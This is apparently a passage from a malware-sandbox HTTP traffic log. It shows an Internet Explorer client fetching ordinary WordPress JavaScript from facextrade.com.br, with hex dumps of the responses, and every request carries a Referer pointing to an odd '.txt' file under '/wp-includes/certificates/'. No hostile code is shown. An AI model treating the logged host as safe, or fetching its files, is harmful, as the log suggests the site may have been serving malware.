device.blackberry()&&d("tablet")},device.windows=function(){return d("windows")},device.windowsPhone=function(){return device.windows()&&d("phone")},device.windowsTablet=function(){return device.windows()&&d("touch")},devi
Aug 16, 2022 11:50:12.159809113 CEST	2329	OUT	GET /wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:50:12.378644943 CEST	2398	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:45:09 GMT Server: Apache ETag: "a4f8b0-2f7e-58592c72eb640" Last-Modified: Tue, 02 Apr 2019 21:25:37 GMT Content-Length: 12158 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 15664927 20383428 Age: 303 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 7b 0a 20 20 20 20 0a 20 20 20 20 70 61 72 61 6c 6c 61 78 5f 62 6f 78 20 3d 20 24 28 27 73 65 63 74 69 6f 6e 2e 70 61 72 61 6c 6c 61 78 2d 62 6f 78 27 29 3b 0a 20 20 20 20 69 66 28 70 61 72 61 6c 6c 61 78 5f 62 6f 78 2e 6c 65 6e 67 74 68 20 3e 20 30 29 7b 0a 20 20 20 20 20 20 20 20 50 61 72 61 6c 6c 61 78 42 6f 78 28 29 3b 0a 20 20 20 20 7d 0a 20 20 20 20 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 50 61 72 61 6c 6c 61 78 42 6f 78 28 29 0a 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 76 61 72 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 20 3d 20 24 28 77 69 6e 64 6f 77 29 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 53 65 6c 65 63 74 6f 72 20 3d 20 24 28 64 6f 63 75 6d 65 6e 74 29 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 57 69 64 74 68 20 3d 20 64 6f 63 75 6d 65 6e 74 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 48 65 69 67 68 74 20 3d 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 6f 75 74 65 72 48 65 69 67 68 74 28 29 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 74 65 4d 6f 64 65 20 3d 20 66 61 6c 73 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 65 56 65 72 73 69 6f 6e 20 3d 20 67 65 74 49 6e 74 65 72 6e 65 74 45 78 70 6c 6f 72 65 72 56 65 72 73 69 6f 6e 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 76 61 72 20 64 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 69 66 28 21 64 65 76 69 63 65 2e 6d 6f 62 69 6c 65 28 29 20 26 26 20 21 64 65 76 69 63 65 2e 74 61 62 6c 65 74 28 29 29 7b 0a 09 09 09 6c 69 74 65 4d 6f 64 65 20 3d 20 66 61 6c 73 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 69 65 56 65 72 73 69 6f 6e 20 21 3d 2d 31 20 26 26 20 69 65 56 65 72 73 69 6f 6e 20 3c 20 39 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 74 65 4d 6f 64 65 20 3d 20 74 72 75 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 09 09 7d 65 6c 73 65 7b 0a 09 09 09 6c 69 74 65 4d 6f 64 65 20 3d 20 74 72 75 65 3b 0a 09 09 7d 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 70 61 72 61 6c 6c 61 78 5f 62 6f 78 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 70 61 72 61 6c 6c 61 78 42 6f 78 28 24 28 74 68 69 73 29 29 3b 0a 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 70 61 72 61 6c 6c 61 78 42 6f 78 28 6f 62 6a 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6f 62 6a 5f 62 67 20 3d 20 6f 62 6a 2e 66 69 6e 64 28 27 2e 70 61 72 Data Ascii: jQuery(document).ready(function($){ parallax_box = $('section.parallax-box'); if(parallax_box.length > 0){ ParallaxBox(); } function ParallaxBox() { var windowSelector = $(window), documentSelector = $(document), documentWidth = documentSelector.width(), windowHeight = windowSelector.outerHeight(), liteMode = false, ieVersion = getInternetExplorerVersion(); var ds = document.documentElement; if(!device.mobile() && !device.tablet()){liteMode = false; if (ieVersion !=-1 && ieVersion < 9){ liteMode = true; }}else{liteMode = true;} parallax_box.each(function() { parallaxBox($(this)); }); function parallaxBox(obj){ var obj_bg = obj.find('.par
Aug 16, 2022 11:50:12.382756948 CEST	2411	OUT	GET /wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:50:12.594669104 CEST	2414	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:46:45 GMT Server: Apache ETag: "a4fbbc-38f9-58592ec603240" Last-Modified: Tue, 02 Apr 2019 21:36:01 GMT Content-Length: 14585 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 15664929 15075345 Age: 207 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 28 20 66 75 6e 63 74 69 6f 6e 28 20 24 20 29 20 7b 0a 0a 09 27 75 73 65 20 73 74 72 69 63 74 27 3b 0a 0a 09 69 66 20 28 20 74 79 70 65 6f 66 20 77 70 63 66 37 20 3d 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 7c 7c 20 77 70 63 66 37 20 3d 3d 3d 20 6e 75 6c 6c 20 29 20 7b 0a 09 09 72 65 74 75 72 6e 3b 0a 09 7d 0a 0a 09 77 70 63 66 37 20 3d 20 24 2e 65 78 74 65 6e 64 28 20 7b 0a 09 09 63 61 63 68 65 64 3a 20 30 2c 0a 09 09 69 6e 70 75 74 73 3a 20 5b 5d 0a 09 7d 2c 20 77 70 63 66 37 20 29 3b 0a 0a 09 24 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 77 70 63 66 37 2e 73 75 70 70 6f 72 74 48 74 6d 6c 35 20 3d 20 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 76 61 72 20 66 65 61 74 75 72 65 73 20 3d 20 7b 7d 3b 0a 09 09 09 76 61 72 20 69 6e 70 75 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 20 27 69 6e 70 75 74 27 20 29 3b 0a 0a 09 09 09 66 65 61 74 75 72 65 73 2e 70 6c 61 63 65 68 6f 6c 64 65 72 20 3d 20 27 70 6c 61 63 65 68 6f 6c 64 65 72 27 20 69 6e 20 69 6e 70 75 74 3b 0a 0a 09 09 09 76 61 72 20 69 6e 70 75 74 54 79 70 65 73 20 3d 20 5b 20 27 65 6d 61 69 6c 27 2c 20 27 75 72 6c 27 2c 20 27 74 65 6c 27 2c 20 27 6e 75 6d 62 65 72 27 2c 20 27 72 61 6e 67 65 27 2c 20 27 64 61 74 65 27 20 5d 3b 0a 0a 09 09 09 24 2e 65 61 63 68 28 20 69 6e 70 75 74 54 79 70 65 73 2c 20 66 75 6e 63 74 69 6f 6e 28 20 69 6e 64 65 78 2c 20 76 61 6c 75 65 20 29 20 7b 0a 09 09 09 09 69 6e 70 75 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 20 27 74 79 70 65 27 2c 20 76 61 6c 75 65 20 29 3b 0a 09 09 09 09 66 65 61 74 75 72 65 73 5b 20 76 61 6c 75 65 20 5d 20 3d 20 69 6e 70 75 74 2e 74 79 70 65 20 21 3d 3d 20 27 74 65 78 74 27 3b 0a 09 09 09 7d 20 29 3b 0a 0a 09 09 09 72 65 74 75 72 6e 20 66 65 61 74 75 72 65 73 3b 0a 09 09 7d 20 29 28 29 3b 0a 0a 09 09 24 28 20 27 64 69 76 2e 77 70 63 66 37 20 3e 20 66 6f 72 6d 27 20 29 2e 65 61 63 68 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 76 61 72 20 24 66 6f 72 6d 20 3d 20 24 28 20 74 68 69 73 20 29 3b 0a 09 09 09 77 70 63 66 37 2e 69 6e 69 74 46 6f 72 6d 28 20 24 66 6f 72 6d 20 29 3b 0a 0a 09 09 09 69 66 20 28 20 77 70 63 66 37 2e 63 61 63 68 65 64 20 29 20 7b 0a 09 09 09 09 77 70 63 66 37 2e 72 65 66 69 6c 6c 28 20 24 66 6f 72 6d 20 29 3b 0a 09 09 09 7d 0a 09 09 7d 20 29 3b 0a 09 7d 20 29 3b 0a 0a 09 77 70 63 66 37 2e 67 65 74 49 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 66 6f 72 6d 20 29 20 7b 0a 09 09 72 65 74 75 72 6e 20 70 61 72 73 65 49 6e 74 28 20 24 28 20 27 69 6e 70 75 74 5b 6e 61 6d 65 3d 22 5f 77 70 63 66 37 22 5d 27 2c 20 66 6f 72 6d 20 29 2e 76 61 6c 28 29 2c 20 31 30 20 29 3b 0a 09 7d 3b 0a 0a 09 77 70 63 66 37 2e 69 6e 69 74 46 6f 72 6d 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 66 6f 72 6d 20 29 20 7b 0a 09 09 76 61 72 20 24 66 6f 72 6d 20 3d 20 24 28 20 66 6f 72 6d 20 29 3b 0a 0a 09 09 24 66 6f 72 6d 2e 73 Data Ascii: ( function( $ ) {'use strict';if ( typeof wpcf7 === 'undefined' \|\| wpcf7 === null ) {return;}wpcf7 = $.extend( {cached: 0,inputs: []}, wpcf7 );$( function() {wpcf7.supportHtml5 = ( function() {var features = {};var input = document.createElement( 'input' );features.placeholder = 'placeholder' in input;var inputTypes = [ 'email', 'url', 'tel', 'number', 'range', 'date' ];$.each( inputTypes, function( index, value ) {input.setAttribute( 'type', value );features[ value ] = input.type !== 'text';} );return features;} )();$( 'div.wpcf7 > form' ).each( function() {var $form = $( this );wpcf7.initForm( $form );if ( wpcf7.cached ) {wpcf7.refill( $form );}} );} );wpcf7.getId = function( form ) {return parseInt( $( 'input[name="_wpcf7"]', form ).val(), 10 );};wpcf7.initForm = function( form ) {var $form = $( form );$form.s
Aug 16, 2022 11:50:12.598611116 CEST	2429	OUT	GET /wp-content/themes/theme51253/js/chart.min.js?ver=1.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:50:12.810873985 CEST	2437	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:45:10 GMT Server: Apache ETag: "a53a4f-4d31-58592d7651a40" Last-Modified: Tue, 02 Apr 2019 21:30:09 GMT Content-Length: 19761 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 15664931 21588071 Age: 303 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 76 61 72 20 43 68 61 72 74 3d 66 75 6e 63 74 69 6f 6e 28 73 29 7b 66 75 6e 63 74 69 6f 6e 20 76 28 61 2c 63 2c 62 29 7b 61 3d 41 28 28 61 2d 63 2e 67 72 61 70 68 4d 69 6e 29 2f 28 63 2e 73 74 65 70 73 2a 63 2e 73 74 65 70 56 61 6c 75 65 29 2c 31 2c 30 29 3b 72 65 74 75 72 6e 20 62 2a 63 2e 73 74 65 70 73 2a 61 7d 66 75 6e 63 74 69 6f 6e 20 78 28 61 2c 63 2c 62 2c 65 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 29 7b 67 2b 3d 66 3b 76 61 72 20 6b 3d 61 2e 61 6e 69 6d 61 74 69 6f 6e 3f 41 28 64 28 67 29 2c 6e 75 6c 6c 2c 30 29 3a 31 3b 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 2c 71 2c 75 29 3b 61 2e 73 63 61 6c 65 4f 76 65 72 6c 61 79 3f 28 62 28 6b 29 2c 63 28 29 29 3a 28 63 28 29 2c 62 28 6b 29 29 3b 69 66 28 31 3e 3d 67 29 44 28 68 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 61 2e 6f 6e 41 6e 69 6d 61 74 69 6f 6e 43 6f 6d 70 6c 65 74 65 29 61 2e 6f 6e 41 6e 69 6d 61 74 69 6f 6e 43 6f 6d 70 6c 65 74 65 28 29 7d 76 61 72 20 66 3d 61 2e 61 6e 69 6d 61 74 69 6f 6e 3f 31 2f 41 28 61 2e 61 6e 69 6d 61 74 69 6f 6e 53 74 65 70 73 2c 4e 75 6d 62 65 72 2e 4d 41 58 5f 56 41 4c 55 45 2c 31 29 3a 31 2c 64 3d 42 5b 61 2e 61 6e 69 6d 61 74 69 6f 6e 45 61 73 69 6e 67 5d 2c 67 3d 61 2e 61 6e 69 6d 61 74 69 6f 6e 3f 30 3a 31 3b 22 66 75 6e 63 74 69 6f 6e 22 21 3d 3d 74 79 70 65 6f 66 20 63 26 26 28 63 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 3b 44 28 68 29 7d 66 75 6e 63 74 69 6f 6e 20 43 28 61 2c 63 2c 62 2c 65 2c 68 2c 66 29 7b 76 61 72 20 64 3b 61 3d 0a 4d 61 74 68 2e 66 6c 6f 6f 72 28 4d 61 74 68 2e 6c 6f 67 28 65 2d 68 29 2f 4d 61 74 68 2e 4c 4e 31 30 29 3b 68 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 68 2f 28 31 2a 4d 61 74 68 2e 70 6f 77 28 31 30 2c 61 29 29 29 2a 4d 61 74 68 2e 70 6f 77 28 31 30 2c 61 29 3b 65 3d 4d 61 74 68 2e 63 65 69 6c 28 65 2f 28 31 2a 4d 61 74 68 2e 70 6f 77 28 31 30 2c 61 29 29 29 2a 4d 61 74 68 2e 70 6f 77 28 31 30 2c 61 29 2d 68 3b 61 3d 4d 61 74 68 2e 70 6f 77 28 31 30 2c 61 29 3b 66 6f 72 28 64 3d 4d 61 74 68 2e 72 6f 75 6e 64 28 65 2f 61 29 3b 64 3c 62 7c 7c 64 3e 63 3b 29 61 3d 64 3c 62 3f 61 2f 32 3a 32 2a 61 2c 64 3d 4d 61 74 68 2e 72 6f 75 6e 64 28 65 2f 61 29 3b 63 3d 5b 5d 3b 7a 28 66 2c 63 2c 64 2c 68 2c 61 29 3b 72 65 74 75 72 6e 7b 73 74 65 70 73 3a 64 2c 73 74 65 70 56 61 6c 75 65 3a 61 2c 67 72 61 70 68 4d 69 6e 3a 68 2c 6c 61 62 65 6c 73 3a 63 7d 7d 66 75 6e 63 74 69 6f 6e 20 7a 28 61 2c 63 2c 62 2c 65 2c 68 29 7b 69 66 28 61 29 66 6f 72 28 76 61 72 20 66 3d 31 3b 66 3c 62 2b 31 3b 66 2b 2b 29 63 2e 70 75 73 68 28 45 28 61 2c 7b 76 61 6c 75 65 3a 28 65 2b 68 2a 66 29 2e 74 6f 46 69 78 65 64 28 30 21 3d 68 25 31 3f 68 2e 74 6f 53 74 72 69 6e 67 28 29 2e 73 70 6c 69 74 28 22 2e 22 29 5b 31 5d 2e 6c 65 6e 67 74 68 3a 30 29 7d 29 29 7d 66 75 6e 63 74 69 6f 6e 20 41 28 61 2c 63 2c 62 29 7b 72 65 74 75 72 6e 21 69 73 4e 61 4e Data Ascii: var Chart=function(s){function v(a,c,b){a=A((a-c.graphMin)/(c.stepsc.stepValue),1,0);return bc.stepsa}function x(a,c,b,e){function h(){g+=f;var k=a.animation?A(d(g),null,0):1;e.clearRect(0,0,q,u);a.scaleOverlay?(b(k),c()):(c(),b(k));if(1>=g)D(h);else if("function"==typeof a.onAnimationComplete)a.onAnimationComplete()}var f=a.animation?1/A(a.animationSteps,Number.MAX_VALUE,1):1,d=B[a.animationEasing],g=a.animation?0:1;"function"!==typeof c&&(c=function(){});D(h)}function C(a,c,b,e,h,f){var d;a=Math.floor(Math.log(e-h)/Math.LN10);h=Math.floor(h/(1Math.pow(10,a)))Math.pow(10,a);e=Math.ceil(e/(1Math.pow(10,a)))Math.pow(10,a)-h;a=Math.pow(10,a);for(d=Math.round(e/a);d<b\|\|d>c;)a=d<b?a/2:2a,d=Math.round(e/a);c=[];z(f,c,d,h,a);return{steps:d,stepValue:a,graphMin:h,labels:c}}function z(a,c,b,e,h){if(a)for(var f=1;f<b+1;f++)c.push(E(a,{value:(e+h*f).toFixed(0!=h%1?h.toString().split(".")[1].length:0)}))}function A(a,c,b){return!isNaN
Aug 16, 2022 11:50:12.815118074 CEST	2458	OUT	GET /wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:50:13.034957886 CEST	2462	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:45:10 GMT Server: Apache ETag: "a53568-b61-58592d4b67500" Last-Modified: Tue, 02 Apr 2019 21:29:24 GMT Content-Length: 2913 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 15664933 21588073 Age: 303 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 66 6e 2e 73 75 70 65 72 66 69 73 68 3d 66 75 6e 63 74 69 6f 6e 28 66 29 7b 76 61 72 20 64 3d 61 2e 66 6e 2e 73 75 70 65 72 66 69 73 68 2c 65 3d 64 2e 63 2c 67 3d 61 28 27 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 27 2b 65 2e 61 72 72 6f 77 43 6c 61 73 73 2b 27 22 3e 20 26 23 31 38 37 3b 3c 2f 73 70 61 6e 3e 27 29 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 76 61 72 20 62 3d 61 28 74 68 69 73 29 2c 64 3d 6a 28 62 29 3b 28 22 6d 6f 75 73 65 65 6e 74 65 72 22 3d 3d 3d 63 2e 74 79 70 65 7c 7c 22 66 6f 63 75 73 69 6e 22 3d 3d 3d 63 2e 74 79 70 65 29 26 26 62 2e 63 68 69 6c 64 72 65 6e 28 22 61 22 29 2e 64 61 74 61 28 22 66 6f 6c 6c 6f 77 22 2c 21 30 29 3b 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 64 2e 73 66 54 69 6d 65 72 29 3b 62 2e 73 68 6f 77 53 75 70 65 72 66 69 73 68 55 6c 28 29 2e 73 69 62 6c 69 6e 67 73 28 29 2e 68 69 64 65 53 75 70 65 72 66 69 73 68 55 6c 28 29 7d 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 76 61 72 20 62 3d 61 28 74 68 69 73 29 2c 66 3d 6a 28 62 29 2c 65 3d 64 2e 6f 70 2c 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 72 65 74 61 69 6e 50 61 74 68 3d 2d 31 3c 61 2e 69 6e 41 72 72 61 79 28 62 5b 30 5d 2c 65 2e 24 70 61 74 68 29 3b 62 2e 68 69 64 65 53 75 70 65 72 66 69 73 68 55 6c 28 29 3b 65 2e 24 70 61 74 68 2e 6c 65 6e 67 74 68 26 26 31 3e 62 2e 70 61 72 65 6e 74 73 28 22 6c 69 2e 22 2b 65 2e 68 6f 76 65 72 43 6c 61 73 73 29 2e 6c 65 6e 67 74 68 26 26 28 65 2e 6f 6e 49 64 6c 65 2e 63 61 6c 6c 28 29 2c 61 2e 70 72 6f 78 79 28 6b 2c 0a 65 2e 24 70 61 74 68 2c 63 29 28 29 29 7d 3b 22 6d 6f 75 73 65 6c 65 61 76 65 22 21 3d 3d 63 2e 74 79 70 65 26 26 22 66 6f 63 75 73 6f 75 74 22 21 3d 3d 63 2e 74 79 70 65 3f 67 28 29 3a 28 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 66 2e 73 66 54 69 6d 65 72 29 2c 66 2e 73 66 54 69 6d 65 72 3d 73 65 74 54 69 6d 65 6f 75 74 28 67 2c 65 2e 64 65 6c 61 79 29 29 3b 28 22 6d 6f 75 73 65 6c 65 61 76 65 22 3d 3d 3d 63 2e 74 79 70 65 7c 7c 22 66 6f 63 75 73 6f 75 74 22 3d 3d 3d 63 2e 74 79 70 65 29 26 26 62 2e 63 68 69 6c 64 72 65 6e 28 22 61 22 29 2e 64 61 74 61 28 22 66 6f 6c 6c 6f 77 22 2c 21 31 29 7d 2c 6a 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 63 2e 68 61 73 43 6c 61 73 73 28 65 2e 6d 65 6e 75 43 6c 61 73 73 29 26 26 61 2e 65 72 72 6f 72 28 22 53 75 70 65 72 66 69 73 68 20 72 65 71 75 69 72 65 73 20 79 6f 75 20 74 6f 20 75 70 64 61 74 65 20 74 6f 20 61 20 76 65 72 73 69 6f 6e 20 6f 66 20 68 6f 76 65 72 49 6e 74 65 6e 74 20 74 68 61 74 20 73 75 70 70 6f 72 74 73 20 65 76 65 6e 74 2d 64 65 6c 65 67 61 74 69 6f 6e 2c 20 73 75 63 68 20 61 73 20 74 68 69 73 20 6f 6e 65 3a 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 6a 6f 65 6c 64 62 69 72 63 68 2f 6f 6e 48 6f 76 65 72 49 6e 74 65 6e 74 22 29 3b 63 3d 63 2e 63 6c 6f 73 65 73 74 28 22 2e 22 2b 65 2e 6d 65 6e 75 43 6c 61 73 73 29 5b 30 5d 3b 64 2e 6f 70 3d 64 2e 6f 5b 63 2e 73 65 72 69 61 6c 5d 3b 72 65 74 75 72 6e 20 63 7d 2c Data Ascii: (function(a){a.fn.superfish=function(f){var d=a.fn.superfish,e=d.c,g=a('<span class="'+e.arrowClass+'"> »</span>'),k=function(c){var b=a(this),d=j(b);("mouseenter"===c.type\|\|"focusin"===c.type)&&b.children("a").data("follow",!0);clearTimeout(d.sfTimer);b.showSuperfishUl().siblings().hideSuperfishUl()},l=function(c){var b=a(this),f=j(b),e=d.op,g=function(){e.retainPath=-1<a.inArray(b[0],e.$path);b.hideSuperfishUl();e.$path.length&&1>b.parents("li."+e.hoverClass).length&&(e.onIdle.call(),a.proxy(k,e.$path,c)())};"mouseleave"!==c.type&&"focusout"!==c.type?g():(clearTimeout(f.sfTimer),f.sfTimer=setTimeout(g,e.delay));("mouseleave"===c.type\|\|"focusout"===c.type)&&b.children("a").data("follow",!1)},j=function(c){c.hasClass(e.menuClass)&&a.error("Superfish requires you to update to a version of hoverIntent that supports event-delegation, such as this one: https://github.com/joeldbirch/onHoverIntent");c=c.closest("."+e.menuClass)[0];d.op=d.o[c.serial];return c},
Aug 16, 2022 11:50:13.038254023 CEST	2464	OUT	GET /wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:50:13.250596046 CEST	2469	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:46:33 GMT Server: Apache ETag: "a53533-50bd-58592d4a732c0" Last-Modified: Tue, 02 Apr 2019 21:29:23 GMT Content-Length: 20669 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 15664935 21588133 Age: 220 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 21 20 4d 61 67 6e 69 66 69 63 20 50 6f 70 75 70 20 2d 20 76 30 2e 39 2e 33 20 2d 20 32 30 31 33 2d 30 37 2d 31 36 0a 2a 20 68 74 74 70 3a 2f 2f 64 69 6d 73 65 6d 65 6e 6f 76 2e 63 6f 6d 2f 70 6c 75 67 69 6e 73 2f 6d 61 67 6e 69 66 69 63 2d 70 6f 70 75 70 2f 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 33 20 44 6d 69 74 72 79 20 53 65 6d 65 6e 6f 76 3b 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 2c 69 2c 6e 2c 6f 2c 61 2c 72 2c 73 2c 6c 3d 22 43 6c 6f 73 65 22 2c 63 3d 22 42 65 66 6f 72 65 43 6c 6f 73 65 22 2c 64 3d 22 41 66 74 65 72 43 6c 6f 73 65 22 2c 75 3d 22 42 65 66 6f 72 65 41 70 70 65 6e 64 22 2c 70 3d 22 4d 61 72 6b 75 70 50 61 72 73 65 22 2c 66 3d 22 4f 70 65 6e 22 2c 6d 3d 22 43 68 61 6e 67 65 22 2c 67 3d 22 6d 66 70 22 2c 76 3d 22 2e 22 2b 67 2c 68 3d 22 6d 66 70 2d 72 65 61 64 79 22 2c 43 3d 22 6d 66 70 2d 72 65 6d 6f 76 69 6e 67 22 2c 79 3d 22 6d 66 70 2d 70 72 65 76 65 6e 74 2d 63 6c 6f 73 65 22 2c 77 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 62 3d 21 21 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 2c 49 3d 65 28 77 69 6e 64 6f 77 29 2c 78 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 69 29 7b 74 2e 65 76 2e 6f 6e 28 67 2b 65 2b 76 2c 69 29 7d 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 69 2c 6e 2c 6f 29 7b 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 72 65 74 75 72 6e 20 61 2e 63 6c 61 73 73 4e 61 6d 65 3d 22 6d 66 70 2d 22 2b 74 2c 6e 26 26 28 61 2e 69 6e 6e 65 72 48 54 4d 4c 3d 6e 29 2c 6f 3f 69 26 26 69 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 3a 28 61 3d 65 28 61 29 2c 69 26 26 61 2e 61 70 70 65 6e 64 54 6f 28 69 29 29 2c 61 7d 2c 54 3d 66 75 6e 63 74 69 6f 6e 28 69 2c 6e 29 7b 74 2e 65 76 2e 74 72 69 67 67 65 72 48 61 6e 64 6c 65 72 28 67 2b 69 2c 6e 29 2c 74 2e 73 74 2e 63 61 6c 6c 62 61 63 6b 73 26 26 28 69 3d 69 2e 63 68 61 72 41 74 28 30 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2b 69 2e 73 6c 69 63 65 28 31 29 2c 74 2e 73 74 2e 63 61 6c 6c 62 61 63 6b 73 5b 69 5d 26 26 74 2e 73 74 2e 63 61 6c 6c 62 61 63 6b 73 5b 69 5d 2e 61 70 70 6c 79 28 74 2c 65 2e 69 73 41 72 72 61 79 28 6e 29 3f 6e 